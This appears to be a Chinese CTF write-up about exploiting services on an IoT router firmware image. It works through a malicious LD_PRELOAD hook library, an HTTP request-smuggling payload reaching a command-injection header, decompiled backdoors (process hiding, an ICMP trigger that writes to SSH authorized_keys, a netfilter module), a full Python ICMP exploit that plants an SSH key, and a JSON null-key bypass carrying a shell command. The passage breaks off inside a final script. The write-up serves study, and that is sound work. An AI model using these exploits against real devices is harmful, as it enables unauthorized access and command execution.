  所以一种比较直接的利用就是覆盖shadow，登录主机。在官方WP中利用任意文件上传和xhttpd设置cgi环境变量时没有加前缀，可实现依赖库劫持。前文提到的add_cgi_env(request * req, const char *key, const char *value,int http_prefix)函数用于设置cgi程序的环境变量，最后一个参数需要设置为1才会在key前面添加HTTP_。而在xhttp解析头部字段时(对应源码process_option_line，xhttp中sub_45F8A0)没有设置环境变量前缀，这就可以传入LD_PRELOAD:path/to/so指定依赖库(学到了~)，再配合upload实现劫持：

//hook.c
#include <stdlib.h>
char *getenv(const char *name){
    system("cat /dev/ttyUSB0");
    return NULL;
}
//mipsel-linux-gnu-gcc-5 -mips32r2 -Wall -fPIC -shared -o hook.os hook.c

调试子进程

  对于fork+execve子程序调用的情况调试方法有：

• • patch子程序

• • shell脚本监视子程序启动

patch法

  在patch过程有个坑是：对于diag.cgi是个mips架构由于流水线效应，分支指令后面一般跟着一条有效指令或者nop。而IDA在把原来不是分支指令patch为分支指令后会强制在后面填充一个nop，如下图所示：

  然后在保存这个patched文件时IDA报错如下：

  暂时没有看到有解决方法，因此使用ghidra来patch(参考【技术分享】IoT固件分析入门 - 网安 (wangan.com))：

需要从github上下载一个脚本来保存：SavePatch.py

jailbreak

  jailbreak对应的启动文件为/etc/rc.d/S97jailbreak，程序本体为appweb会监听本地7777端口。而该本地端口的访问由nginx监听转发外部端口59659完成，只有以ejs或者php结尾的URI的请求才行。

#!/bin/sh /etc/rc.common
START=97
USE_PROCD=1
PROG=/usr/bin/appweb
start_service() {
    procd_open_instance
    procd_set_param command "$PROG" "127.0.0.1:7777"
    procd_set_param respawn 3600 2 10000
    procd_close_instance
}
reload_service() {
    procd_send_signal appweb
}

server { 
#see uci show 'nginx._redirect2ssl'
listen 59659;
listen [::]:59659;
location ~* \.(ejs|php)$ {
    proxy_redirect off;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Real-PORT $remote_port;
    proxy_set_header Host $host;
    proxy_set_header Proxy "";
    proxy_pass   http://127.0.0.1:7777;
    }
}

  appweb是这道题的关键程序，所以先得了解他的架构。

appweb

  appweb是一个专用于嵌入式环境的开源webserver。其特点为使用类似apache的配置文件，Pipeline流水线处理请求，动态模块加载。整个框架为：每个请求通过Pipeline流水线完成。在此基础上URI匹配，身份验证等通过读取配置文件查看需求。最后以在Pipeline上加载模块的方式进行数据处理。如下图：

配置文件

  文件系统中并没有appweb.conf文件，在其启动脚本中也没有指定。所以这里简单看看官方的一个例子即可：

Home "."
ErrorLog error.log
ServerName http://localhost:7777
Documents "/var/web"
Listen 7777
LoadModule espHandler mod_esp
AddHandler espHandler esp

  必须要用Home指定全局路径，还需要注意的就是LoadModule和AddHandler，首先从mod_esp(路径，一般是个so库)中加载espHandler模块然后指定对后缀为esp的使用。

Pipeline

  pipeline可以看做一个双向管道，两端是client和handler中间可以防止多个模块(filter, connector)。其中包含了许多机制如队列，数据包，缓冲和事件调度。其中数据包只会在模块中直接传递而不会进行复制操作，这可以提升一定的效率。

  上图中的小方块被视为stage(s)，包括：Handlers，Filters，Network Connectors(这些都是模块)。handlers一般通过appweb配置文件动态加载，其用于动态生成响应数据(CGI方式依赖额外程序来生成)。filters在数据出入或传出handlers时操作数据(一般用于压缩或者加密数据)，比如appweb项目自身用filter模块实现 分块传输编码(Transfer Chunk Encoding)。Connectors是pipelin的最后一环，用于将数据包传给client。appweb提供两个分别是通用的net connector 和专门传静态文件的send connector。

Handlers

  为了解决一个服务器完成难以完成各种要求的问题，appweb使用动态加载handler的方式来对其功能进行"分块"，来尽量满足定制化需求(有点像积木的意思)。可以通过动态库的形式动态加载或者从源码将模块静态编译进去。在conf文件中可以定义，对于不同的URI等配置不同的handler来实现动态加载模块进行处理。handlers可以存在多个，比如源码中若不指定conf文件config.c:

大致对应如下配置文件：

LoadModule authFilter mod_auth
AddHandler authFilter
LoadModule cgiHandler mod_cgi
AddHandler cgiHandler .cgi .cgi-nph .bat .cmd .pl .py
LoadModule ejsHandler mod_ejs
AddHandler ejsHandler .ejs
LoadModule phpHandler mod_php
AddHandler phpHandler .php
LoadModule fileHandler mod_file
AddHandler fileHandler

源码简析(V3.3.2)

  每个appweb例程所提供的服务(包括virtual host)都由struct MaHttp维护，结构如下：

typedef struct MaHttp {
    MprHashTable    *stages;                /**< Hash table of stages */
    struct MaServer *defaultServer;         /**< Default web server object */
    MprList         *servers;               /**< List of web servers objects */
    MaLimits        limits;                 /**< Security and resource limits */
    /*
     *  Some standard pipeline stages
     */
    struct MaStage  *netConnector;          /**< Network connector */
    struct MaStage  *sendConnector;         /**< Send file connector */
    struct MaStage  *authFilter;            /**< Authorization filter (digest and basic) */
    struct MaStage  *rangeFilter;           /**< Ranged requests filter */
    struct MaStage  *cgiHandler;            /**< CGI handler */
    struct MaStage  *chunkFilter;           /**< Chunked transfer encoding filter */
    struct MaStage  *dirHandler;            /**< Directory listing handler */
    struct MaStage  *egiHandler;            /**< Embedded Gateway Interface (EGI) handler */
    struct MaStage  *ejsHandler;            /**< Ejscript Web Framework handler */
    struct MaStage  *fileHandler;           /**< Static file handler */
    struct MaStage  *passHandler;           /**< Pass through handler */
    struct MaStage  *phpHandler;            /**< PHP handler */
    {...}
}

  appweb提供的stages如上，在对该项目进行二次开发的时候可以直接编写模块(库)，包括filter、handler、connector。然后在conf文件中加载模块并设置filter、handler、connector等如：

SetConnector netConnector
<if AUTH_MODULE>
    LoadModule authFilter mod_auth
    #
    #   The auth filter must be first in the pipeline before all handlers and
    #   after the connector definition. Only needed on the output pipeline.
    #
    AddOutputFilter authFilter
</if>
#
#   Add other filters. Order matters. Chunking must be last.
#
<if RANGE_MODULE>
    LoadModule rangeFilter mod_range
    AddOutputFilter rangeFilter
</if>
<if CHUNK_MODULE>
    LoadModule chunkFilter mod_chunk
    AddFilter chunkFilter
</if>
#
#   Include all other modules before the file module which is the catch-all.
#
Include conf/modules/*
#
#   The file handler supports requests for static files. Put this last after
#   all other modules and it becomes the catch-all due to the empty quotes.
#
<if FILE_MODULE>
    # PutMethod on
    LoadModule fileHandler mod_file
    AddHandler fileHandler .html .gif .jpeg .png .pdf ""
</if>

  其中LoadModule对应源码中MprModule *maLoadModule(MaHttp *http, cchar *name, cchar *libname)函数，libname就是模块的路径，name是模块名称(不是库文件名)。函数中调用mprLoadModule打开动态库并且执行初始化函数，初始化函数名称其格式为manameInit：

if ((handle = dlopen(path, RTLD_LAZY | RTLD_GLOBAL)) == 0) {
            mprError(ctx, "Can't load module %s\nReason: \"%s\"",  path, dlerror());
        } else if (initFunction) {
            if ((fn = (MprModuleEntry) dlsym(handle, initFunction)) != 0) {
                if ((mp = (fn)(ctx, path)) == 0) {
                    mprError(ctx, "Initialization for module %s failed", module);
                    dlclose(handle);
                } else {
                    mp->handle = handle;
                }
            } else {
                mprError(ctx, "Can't load module %s\nReason: can't find function \"%s\"",  path, initFunction);
                dlclose(handle);
            }
        }

  在初始化函数中，开发者就可以根据传入的MaHttp实例设置stages。stage的结构体为struct MaStage里面包含了很多回调函数如：parse、modify、outgoingData等。三要素filter、handler、connector之间的主要区别就在于stage实例的回调函数以调用时机。例如需要一个用户身份验证功能，就可以实现一个filter模块，因为身份验证一般在请求处理(handler进行)之前：

/*
 *  Loadable module initialization
 */
MprModule *maAuthFilterInit(MaHttp *http, cchar *path)
{
    MprModule   *module;
    MaStage     *filter;
    module = mprCreateModule(http, "authFilter", BLD_VERSION, NULL, NULL, NULL);
    if (module == 0) {
        return 0;
    }
    filter = maCreateFilter(http, "authFilter", MA_STAGE_ALL);
    if (filter == 0) {
        mprFree(module);
        return 0;
    }
    http->authFilter = filter;
    filter->match = matchAuth; 
    filter->parse = parseAuth; 
    return module;
}

  前面mprCreateModule，maCreateFilter分别是注册模块和在pipeline上注册filter stage。重点在于parseAuth和matchAuth，parseAuth用于解析conf配置文件比如验证算法、授权用户；matchAuth根据解析情况结合请求进行校验。

  还有实现handler和connect也是类似的。maCreateFilter、maCreateHandler、maCreateConnector之间不同的是对stage->flags标志的设置。

  对appweb有个初步认识后，对这个题目就容易理解一些了。从配置文件可知appweb只用来处理对ejs/php文件的访问，其中ejs是嵌入式js，是一套简单的语言模板用于动态生成页面。题目中并没有appweb的配置文件，所以写在了maConfigureServer函数中：

  但其实只有mod_ejs.so存在，所以就得从他的初始化函数入手。比对源码中的ejs实现可以识别一些函数，改动不是很大，最后定位在matchEjs函数中存在命令注入。

int __fastcall matchEjs(_DWORD *a1, int a2, _BYTE *a3){
      IS_AUTHORIZE = req_is_auth((int)a1);
  if ( !strcmp(*(_DWORD *)(v11 + 72), "/index.ejs") )
  {
    if ( IS_AUTHORIZE )
    {
      v13 = mprLookupHash(*(_DWORD *)(v11 + 180), "HTTP_EJS");
      system(v13);
      maFormatBody(a1, "Hello Admin!", "Login successs!");
      maFailRequest(a1, 200, "Login successs!");
    }
    else
    {
      v4 = strlen(*(_DWORD *)(v11 + 112));
      v9 = malloc(v4 + 128);
      sprintf(v9, "http://%s:%d/login.html", *(const char **)(v11 + 112), 59659);
      maFormatBody(a1, "Forbidden", "Not Authorize! Please Login!");
      maSetHeader(a1, 0, "Location", v9);
      maFailRequest(a1, 302, "Not Authorize! Please Login!");
      free(v9);
    }
  }
  if ( !strcmp(*(_DWORD *)(v11 + 72), "/login_verify.ejs") )
  {
    v14 = maGetQueryString(a1);
    if ( v14 )
    {
      v5 = strlen(v14);
      v15 = malloc(v5 + 1);
      strcpy(v15, v14);
      for ( i = mprStrTok(v15, "&", v19); i; i = mprStrTok(0, "&", v19) )
      {
        v16 = strchr(i, '=');
        if ( v16 )
        {
          v6 = (_BYTE *)v16;
          v17 = v16 + 1;
          *v6 = 0;
          if ( !strcmp(i, "username") && !strcmp(v17, "admin") )
          {
            if ( !strcmp(i, "password") && !strcmp(v17, "test123") )
            {
              IS_AUTHORIZE = 1;
            }
            else
            {
              maFormatBody(a1, "Auth error", "Password error!");
              maFailRequest(a1, 403, (const char *)&dword_61D8);
            }
          }
          else
          {
            maFormatBody(a1, "Auth error", "Username error!");
            maFailRequest(a1, 403, (const char *)&dword_61D8);
          }
        }
      }
      free(v15);
    }
    else
    {
      v7 = strlen(*(_DWORD *)(v11 + 112));
      v10 = malloc(v7 + 128);
      sprintf(v10, "http://%s:%d/login.ejs", *(const char **)(v11 + 112), 59659);
      maFormatBody(a1, "Forbidden", "Not username and password input!");
      maSetHeader(a1, 0, "Location", v10);
      maFailRequest(a1, 302, "Not username and password input!");
      free(v10);
    }
  }
}

  整体逻辑为：在访问/index.ejs将会跳转到登录页面，上传参数后进入函数下面的判断逻辑如果验证通过则IS_AUTHORIZE=1，那么然后访问/index.ejs就能通过设置头部成员HTTP_EJS完成命令注入。但是验证逻辑是无法绕过的(逻辑问题)。根据官方WP，在req_is_auth函数中验证了ip是否为本地ip，而在nginx转发时设置了proxy_set_header X-Real-IP $remote_addr所以直接访问也绕不过去：

BOOL __fastcall req_is_auth(int a1)
{
  BOOL result; // $v0
  int v2; // [sp+18h] [+18h]
  v2 = mprLookupHash(*(_DWORD *)(*(_DWORD *)(a1 + 32) + 180), "HTTP_X_REAL_IP");
  if ( v2 )
    result = strcmp(v2, "127.0.0.1") == 0;
  else
    result = 0;
  return result;
}

需要使用http走私，在源码中parseRequest->parseFirstLine完成对头部第一行的解析，但是题目中修改了对OPTIONS请求的处理：

if ( !strcmp(key, "CONTENT_LENGTH") )
{
    if ( !strcmp(req->methodName, "OPTIONS") )
    {
        LODWORD(req->length) = 0;
        HIDWORD(req->length) = 0;
    }

这样可以构造OPTIONS请求如下：

OPTIONS /index.ejs HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Cache-Control: max-age=0
Content-Length: 245
GET /index.ejs HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
X-Real-IP: 127.0.0.1
EJS: ls >/tmp/zzz
Cache-Control: max-age=0

这样一个数据包就会被服务器识别为两个实现绕过。

pidr

  该程序接受ICMP报文并检测数据段中经运算后是否等于本地时间(Mon,day,hour,min)，然后开启一个反向shell，端口由ICMP数据中指定。用C实现ICMP的时候注意报文的checksum字段的计算。

raw socket

  一般使用的SOCK_STREAM、SOCK_DGRAM能够完成核心数据发送与接收，而网络模型协议栈的中间层透明化头部信息全部被剥离recv或者send只有数据对象，即不操控链路层或者网络层数据。SOCK_RAW就是用来操作这两层数据的来实现一些其他的功能(ping, sniffer, routetacer)：

• • 使用raw socket 可以读写ICMP、IGMP等分组。

• • 大多数内核只处理IPv4数据报中一个名为协议的8位字段的值为1（ICMP）、2（IGMP）、6（TCP）、17（UDP）四种情况。然而该字段的值还有许多其他值。进程使用raw socket 就可以读写那些内核不处理的IPv4数据报了。因此，可以使用原始套接字定义用户自己的协议格式。

• • 通过使用raw socket ，进程可以使用IP_HDRINCL套接口选项自行构造IP头部。这个能力可用于构造特定类型的TCP或UDP分组等。

  SOCK_RAW具体实现上可以分为链路层原始套接字和网络层原始套接字两大类。创建链路层原始套接字使用socket(PF_PACKET, type, htons(protocol))。第三个参数是协议类型其只对报文接收有意义，见下图：

  当type为SOCK_RAW时数据接收或者发送都从MAC帧开始(链路层)，当type为SOCK_DGRAM时链路层由内核接管处理，用户只需接收或构造网络层数据。创建网络层原始套接字使用socket(PF_INET/AF_INET, SOCK_RAW, protocol)来操作网络层即以上的数据。接受报文时从网络层(IP)首部开始，以及建立在IP协议之上的TCP/ICMP等首部。发送报文时默认情况IP首部由内核接管，用户构造TCP/UDP/ICMP等协议数据。但是通过setsockopt()给套接字设置上IP_HDRINCL选项，就需要在发送时自行构造IP首部。见下图：

固件2

  这个固件无法直接使用串口或者ssh直连，这是因为在二号固件中设置了root的登录密码：

可以修改二号固件的shadow文件然后重打包再刷入。

frostheart

  对应程序为/usr/bin/main。程序通过mount指令将一个空文件挂载到/proc/pid下面实现进程隐藏(ps看不见)：

int hidePid()
{
  int result; // $v0
  int v1; // [sp+20h] [+20h]
  int v2; // [sp+24h] [+24h]
  char v3[256]; // [sp+28h] [+28h] BYREF
  v1 = getpid();
  memset(v3, 0, sizeof(v3));
  if ( v1 >= 0 )
  {
    if ( access("/tmp/pid", 0) )
    {
      v2 = strdup("mkdir -p /tmp/pid");
      system(v2);
    }
    sprintf(v3, "mount --bind %s /%s/%d", "/tmp/pid", "proc", v1);
    system(v3);
    result = 1;
  }
  else
  {
    perror("pid error!");
    result = -1;
  }
  return result;

  核心函数是sub_401764，大概逻辑是：接受ICMP ECHO request包，然后判断icmp_id是否为固定值0xDEAD。通过检测后对数据部分进行base64解码(Table异化)，然后解码的数据进行校验若通过则从数据找到@本机Mac地址和@key可以将ssh的公钥写入/etc/dropbear/authorized_keys实现ssh无秘钥登录。

while ( !recv(v2, icmp, 1024, 0) );
checksum = icmp[11];
}
while ( LOBYTE(icmp[10]) != 8 );          // Type == 8
if ( icmp[12] == 0xDEAD )                 // ICMP id
{
    base64_decode((int)&icmp[12], (int)v9);
    if ( getXor((int)&v9[3]) == checksum )
    {
        eth5Mac = sub_40168C();
        if ( eth5Mac )
        {
            v5 = strtok(&v9[3], "@");
            if ( v5 )
            {
                v6 = strtok(0, "@");
                if ( !strcmp(eth5Mac, v5) )
                {
                    v7 = fopen("/etc/dropbear/authorized_keys", "a+");
                    v1 = strlen(v6);
                    fwrite(v6, v1, 1, v7);
                    fclose(v7);
                }
            }

  同时在nf_flow_in.ko内核模块也需要分析。linux内核模块一般放在/lib/modules/$(uname -r)/目录下，在/etc/modules-load.d/中来配置系统启动时加载哪些模块，但是openwrt是modules-boot.d。/etc/modprobe.d/下配置模块加载时的一些参数，openwrt上对应/etc/modules.d/。

Netfilter 框架

  Netfilter 是 Linux 内核中的一个框架。linux实现数据过滤，连接跟踪（Connect Track），网络地址转换（NAT）等功能主要基于此框架。核心是该框架在网络协议栈中定义了一些列hook点，可以在这些点中注册函数对协议栈中各层次的数据包进行处理。

  从上图可知挂载点主要有5个：

• • PRE_ROUTING：路由前。数据包进入IP层后，但还没有对数据包进行路由判定前。

• • LOCAL_IN：进入本地。对数据包进行路由判定后，如果数据包是发送给本地的，在上送数据包给上层协议前。

• • FORWARD：转发。对数据包进行路由判定后，如果数据包不是发送给本地的，在转发数据包出去前。

• • LOCAL_OUT：本地输出。对于输出的数据包，在没有对数据包进行路由判定前。

• • POST_ROUTING：路由后。对于输出的数据包，在对数据包进行路由判定后。

相关的函数与数据结构有：nf_register_net_hook完成钩子函数注册，struct nf_hook_ops结构体定义如下(最好看对应版本的源码，/lib/modules/5.4.215/可知源码版本)：

struct nf_hook_ops {
    /* User fills in from here down. */
    nf_hookfn  *hook;
    struct net_device *dev;
    void   *priv;
    u_int8_t  pf;
    unsigned int  hooknum;
    /* Hooks are ordered in ascending priority. */
    int   priority;
};
/* Function to register/unregister hook points. */
int nf_register_net_hook(struct net *net, const struct nf_hook_ops *ops);
void nf_unregister_net_hook(struct net *net, const struct nf_hook_ops *ops);
int nf_register_net_hooks(struct net *net, const struct nf_hook_ops *reg,
              unsigned int n);
void nf_unregister_net_hooks(struct net *net, const struct nf_hook_ops *reg,
                 unsigned int n);

钩子函数的定义为：

typedef unsigned int nf_hookfn(void *priv,
                   struct sk_buff *skb,
                   const struct nf_hook_state *state);

hook的返回值有几种情况：

• • NF_DROP == 0: 默默丢弃数据包

• • NF_ACCEPT == 1: 数据包继续在内核协议栈中传输

• • NF_STOLEN == 2: 数据包不继续传输，由钩子方法进行处理

• • NF_QUEUE == 3: 将数据包排序，供用户空间使用

• • NF_REPEAT == 4: 再次调用钩子函数

nf_flow_in.ko注册点为：

nf_register_net_hooks(&init_net, off_940, 1);
.data..read_mostly:00000940 off_940:        .word hook               # DATA XREF: _5+4↑o
.data..read_mostly:00000940                                          # _5+10↑o ...
.data..read_mostly:00000940                                          # nf_hookfn *
.data..read_mostly:00000944                 .word 0                  # struct net_device   *
.data..read_mostly:00000948                 .word 0                  # void            *priv
.data..read_mostly:0000094C                 .word 2                  # u_int8_t        pf
.data..read_mostly:00000950                 .word 1                  # unsigned int        hooknum

  对比nf_hook_ops结构体的成员定义可知：hooknum == 1 表示hook NF_IP_LOCAL_IN 阶段也就是数据包经过路由判决确定是发给本地的包后。pf == 2表示NFPROTO_IPV4 IPv4协议(IP)。重点hook函数为：

int __fastcall hook(int a1, int a2)
{
  int result; // $v0
  int head; // $v1
  char *icmp_data; // $s0
  char *v5; // $v0
  char *v6; // $a0
  int v7; // $a1
  int v8; // $v1
  head = *(_DWORD *)(a2 + 0xA0);
  if ( *(_BYTE *)(head + *(unsigned __int16 *)(a2 + 0x94) + 9) == 1 )// head + *(unsigned __int16 *)(a2 + 0x94) == ip_header; +9 means protocol
  {
    icmp_data = (char *)(head + *(unsigned __int16 *)(a2 + 0x92) + 8);// head + *(unsigned __int16 *)(a2 + 0x92) == transport_header; + 8 means icmp`s data area
    v5 = &icmp_data[strlen(icmp_data)];
    v6 = icmp_data;
    v7 = 0;
    while ( v5 != v6 )
    {
      v8 = *v6++;
      if ( (unsigned int)(v8 - 0x20) >= 95 )    // unprintable char
        v7 = -1;
    }
    if ( !v7 )
      7(icmp_data);
    result = 1; 
  }
  return result;
}

  会处理ICMP报文的数据部分，如果全部都是可见字符进入7(icmp_data)，需要注意的是函数始终返回1(NF_ACCEPT)也就是说其他ICMP报文正常走完协议栈：

int __fastcall 7(char *a1)
{
  char *in; // $s1
  int v3; // $v0
  _BYTE *out; // $s5
  int v6; // $v0
  unsigned __int8 *v7; // $s2
  unsigned int i; // $s0
  int v9; // $v0
  char key[12]; // [sp+10h] [-10h] BYREF
  in = (char *)kmem_cache_alloc(kmalloc_caches[10], 0xCC0);
  strcpy(key, "X1Hu-2O23");
  if ( in )
  {
    v3 = strlen(a1);
    memset(in, 0, v3 + 1);
    base64Decode(a1, in);
    if ( strlen(in) )
    {
      out = (_BYTE *)kmem_cache_alloc(kmalloc_caches[10], 3264);
      if ( out )
      {
        v7 = (unsigned __int8 *)kmem_cache_alloc(kmalloc_caches[10], 3264);
        v6 = strlen(in);
        8(in, v6, (int)key, 9);
        for ( i = 0; i < strlen(in); ++i )
          sprintf(&v7[i], "%c", in[i]);
        v9 = strlen(v7);
        Base64Encode(v7, out, v9);
        strcpy(a1, out);
        kfree(in);
        kfree(out);
        kfree(v7);
      }
    }
  }
  return _stack_chk_guard;
}

  base64Decode，Base64Encode和main程序的base64_decode都是使用的同一个异变Table，函数8是rc4加密(对称加密)，秘钥为X1Hu-2O23(rc4这个不是很懂)。总的来说这个内核模块会对8字节后全是可见字符data的ICMP报文进行base64解密，rc4，base64加密。结合main程序又进行一次base64解密，需要将@targetMac和@localRSApub放入ICMP报文，以X1Hu-2O23为key进行rc4加密，然后base64加密 后发送给目标主机。

坑

  在main程序中绕过前面的checksum和icmp_id检查我觉得存在逻辑问题。首先获取icmp报文中的checksum然后会和icmp_data部分的xorsum进行比较(getXor)，那么icmp报文中的checksum字段是一定要构造的而且不能代表整个报文真实的checksum(header+data)：

Checksum
      The checksum is the 16-bit ones's complement of the one's
      complement sum of the ICMP message starting with the ICMP Type.
      For computing the checksum , the checksum field should be zero.
      This checksum may be replaced in the future.
        ----From rfc792

  官方WP上是用和程序中计算data数据getXor函数一样的算法计算出来一个值，并且放入icmp_header中的checksum字段：

def calc_sum(data):
    sum = 0
    for ch in range(len(data)):
        sum^=ord(data[ch])
...
checksum = calc_sum(data)
docmd = "python2.7 sendPacket.py %s %s %s"%(ip_addr,str(checksum),encrypt_data)
def icmp_send(dest_addr,pkt_checksum,payload):
    icmp = socket.getprotobyname("icmp")
    try:
        my_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, icmp)
    except socket.error, (errno, msg):
        if errno == 1:
            msg = msg + "This program must be run with root privileges."
            raise socket.error(msg)
        raise
    pkt_id = 0xDEAD
    dest_addr  =  socket.gethostbyname(dest_addr)
    pkt_checksum = int(pkt_checksum)
    # Make a dummy heder with a fake checksum.
    header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, pkt_checksum, pkt_id, 1)

  我觉得这样会导致发送出去的数据包直接被对方协议栈过滤(猜的，没看过协议栈相关源码)，进入设备shell手动启main程序并且使用官方脚本发现设备毫无反应：

  这个情况还好说，因为icmp_header的sequence字段可控且main和内核模块不检查，那么可以构造该字段实现 0 <= getXor(icmp_data) == checksum(icmp) <= 0x80。那么构造icmp为：

import socket, struct, array
import string, base64
from Crypto.Cipher import ARC4
BASETABLE = 'Gw6Y/H7PxrieDoRSE58h0fcp1jtlbdON9zKVA2g3+aTCy4XmIBuZUsWJnkMqFLQv'
def base64Encode(b_in: bytes) -> bytes:
    retStr = ''
    count = 0
    for i in range(0, len(b_in), 3):
        if count+3 <= len(b_in):
            tmp = ((b_in[i]) << 8*2) | ((b_in[i+1]) << 8) | (b_in[i+2]) #13896738
            idx0 = tmp >> 18    #53
            idx1 = (tmp >> 12) & 0b0111111  #0
            idx2 = (tmp >> 6) & 0b0111111   #48
            idx3 = tmp & 0b0111111          #34
            
            retStr += BASETABLE[idx0]
            retStr += BASETABLE[idx1]
            retStr += BASETABLE[idx2]
            retStr += BASETABLE[idx3]
            count += 3
    
    if count != len(b_in):
        left = len(b_in) - count
        tmp = 0
        if left == 1:
            tmp = (b_in[count]) << 16
        else :
            tmp = (b_in[count]) << 16 | ((b_in[count + 1]) << 8)
        
        idx0 = tmp >> 18
        idx1 = (tmp >> 12) & 0b0111111
        idx2 = (tmp >> 6) & 0b0111111
        idx3 = tmp & 0b0111111
        
        retStr += BASETABLE[idx0]
        retStr += BASETABLE[idx1]
        if idx2 != 0:
            retStr += BASETABLE[idx2]
        else:
            retStr += '='
        if idx3 != 0:
            retStr += BASETABLE[idx3]
        else:
            retStr += '='
    
    return retStr.encode()
def base64Decode(b_in) -> bytes:
    if isinstance(b_in, bytes):
        b_in = b_in.decode()
    retStr = b''
    
    b_in = b_in.rstrip('=')
    left = len(b_in) % 4
    # for i in range(0, len(b_in), 4):
    for i in range(len(b_in) // 4):
        tmp = BASETABLE.index((b_in[i*4])) << 6*3 | BASETABLE.index((b_in[i*4+1])) << 6*2 | BASETABLE.index((b_in[i*4+2])) << 6 | BASETABLE.index(b_in[i*4+3])  #13896738
        idx0 = tmp >> 8*2   #212
        idx1 = (tmp >> 8) & 0b011111111 #12
        idx2 = tmp & 0b011111111        #34
        
        retStr += struct.pack(b'<BBB', idx0, idx1, idx2)
    tmp = 0
    if left == 3:
        tmp = BASETABLE.index((b_in[-3])) << 6*3 | BASETABLE.index((b_in[-2])) << 6*2 | BASETABLE.index((b_in[-1])) << 6*1
    elif left == 2:
        tmp = BASETABLE.index((b_in[-2])) << 6*3 | BASETABLE.index((b_in[-1])) << 6*2
    elif left == 1:
        tmp = BASETABLE.index((b_in[-1])) << 6*3
    
    idx0 = tmp >> 8*2
    idx1 = (tmp >> 8) & 0b011111111
    idx2 = tmp & 0b011111111
    retStr += struct.pack(b'<BBB', idx0, idx1, idx2)
    retStr = retStr.rstrip(b'\x00')
    return retStr
def packData(d_in:bytes, key:bytes = b'X1Hu-2O23'):
    arc4 = ARC4.new(key)
    t = arc4.encrypt(d_in)
    retData = base64Encode(t)
    return retData
    
def unpackData(d_in:bytes, key:bytes = b'X1Hu-2O23'):
    retData = base64Decode(d_in)
    arc4 = ARC4.new(key)
    return arc4.decrypt(retData)
def chesksum(data):
    n = len(data)
    m = n % 2
    sum = 0
    for i in range(0, n - m, 2):
        sum += (data[i]) + ((data[i + 1]) << 8)
        sum = (sum >> 16) + (sum & 0xffff)
    if m:
        sum += (data[-1])
        sum = (sum >> 16) + (sum & 0xffff)
    answer = ~sum & 0xffff
    answer = answer >> 8 | (answer << 8 & 0xff00)
    return answer
def xorChecksum(data: bytes) -> int:
    ret = 0
    for i in data:
        ret ^= i
    return ret
def find_sum(data):
    data_Xorsum = xorChecksum(data)
    data = packData(data, b'X1Hu-2O23')
    data_Xorsum = ((data_Xorsum & 0xff) << 8) | (data_Xorsum >> 8)
    for i in range(256):
        for j in range(256):
            icmp_data = b'\x08\x00\x00\x00\xad\xde' + i.to_bytes(1,'big') + j.to_bytes(1,'big') + data
            tmp_sum = chesksum(icmp_data)
            
            if data_Xorsum == tmp_sum:
                print(hex(i),hex(j),hex(data_Xorsum))
                return (i << 8) | j, data_Xorsum
def icmp_send():
    icmp_data = b'00:00:00:00:00:1b@'
    icmp_data += b'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDbqytls41JAN2qY7MgqF05rML8zDXYA6CWdT0S3q17l9jXqzITbPv3sCMGUcsZNNkWnxl6MtDTqpu0pIBpZblbsjKC8rbtFV6RbpNDfaJ8esNck4++YdkpG67cHQnvoNkJOFLNfjuuCVtYEo8g3mAb6KCyG9rfa22lHTl+gj99Lw=='
    seq, checksum = find_sum(icmp_data)
    icmp_header = struct.pack('>BBHHH', 8, 0, checksum, 0xadde, seq)
    icmp_data_pack = packData(icmp_data, b'X1Hu-2O23')
    icmp_payload = icmp_header + icmp_data_pack
    print(base64Encode(icmp_data))
    print(icmp_data_pack,'\n',  unpackData(icmp_data_pack))
    raw_sfd = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.getprotobyname("icmp"))
    raw_sfd.sendto(icmp_payload, ('192.168.1.1', 0))
if __name__ == '__main__':
    icmp_send()

  有个小问题就是上传的秘钥不能太长，否则会出现截断问题。可以使用ssh-keygen生成一个1024bit的就行了，或者截开多打几次：

pbk

  题目对应了一个包含前后端的系统，前端用python实现了登录、注册等功能，后端用C++实现了upload_file和查看/tmp目录下某个文件。前端中的权限校验函数auth_check存在反序列化漏洞。其中session_id没有做限制且用户可控。

def auth_check(self, session_id):
    try:
        if not os.path.exists("/tmp/session/" + session_id):
            return False
        f = open("/tmp/session/" + session_id, "rb")
        _session = pickle.loads(f.read())
        f.close()
        current_time = int(time.time())
        if current_time - _session.login_time > _session.lease:
            return False
        return _session.role
    except:
        return False

  后端c++实现，在逆向的时候基本一半猜一半逆(目前C++水平太拉了)，不过基本的逻辑能理清。核心是解析前端发送的json数据包然后根据role和bk_code的值调用对应处理函数。guest用户有两种情况bk_code == 0x70 or 0x23。对应函数readfile(0041A050)和uploadfile(0041A050)。

  其中readfile会打开tmp下的一个文件，该文件名称由用户随意指定没有做限制存在目录穿越。

  uploadfile实现文件上传同样没有对用户指定的文件名做限制，因此结合前端的漏洞实现反序列化漏洞。

  对于admin用户可以调用sub_419BAC直接命令注入：

  官方wp提供了三种解题思路，前面通过guest漏洞比较直接。而对于admin通过python和json-c对unicode数据解析不一致绕过，例如构造{"r":"123","r\u0000":"456"}的json包对于python json strict=False来说该json结构中分别存在r和r\u000两个key。但是如果json-c这样构造就会导致只存在一个key即r，这好像是因为json-c的作者沿用c中string标准截断判别，即null截断，这个问题在github上是该项目中讨论最多的但还是open状态(快10年了)：

（学到了，学到了）

用在题目中就是，构造如下数据：

backend1 = 'NOVA00010102{"session_id":"%s","func":18,"f":32,"d":"touch /hacked_by_npc","r":"admin","r\u0000":"admin"}' % guest_session_id

经过服务器前端转发变成：

{"session_id": "THeoEcUFBmUmXQJXJDxPBNzZFlhVFBZk", "func": 18, "f": 32, "d": "touch /haked_by_npc", "r": "guest", "r\u0000": "admin"} 

然后后端调用json_tokener_parse解析该json包，理所当然的变成r:admin，后端并没有继续解析session_id。

import socket, json
HEADER = 'NOVA' + '0001' + '0102'
def login(name: str, pwd: str, sfd: socket.socket):
    js_data = {'func': 1, 'usr':name, 'pwd':pwd}
    payload = HEADER + json.dumps(js_data)
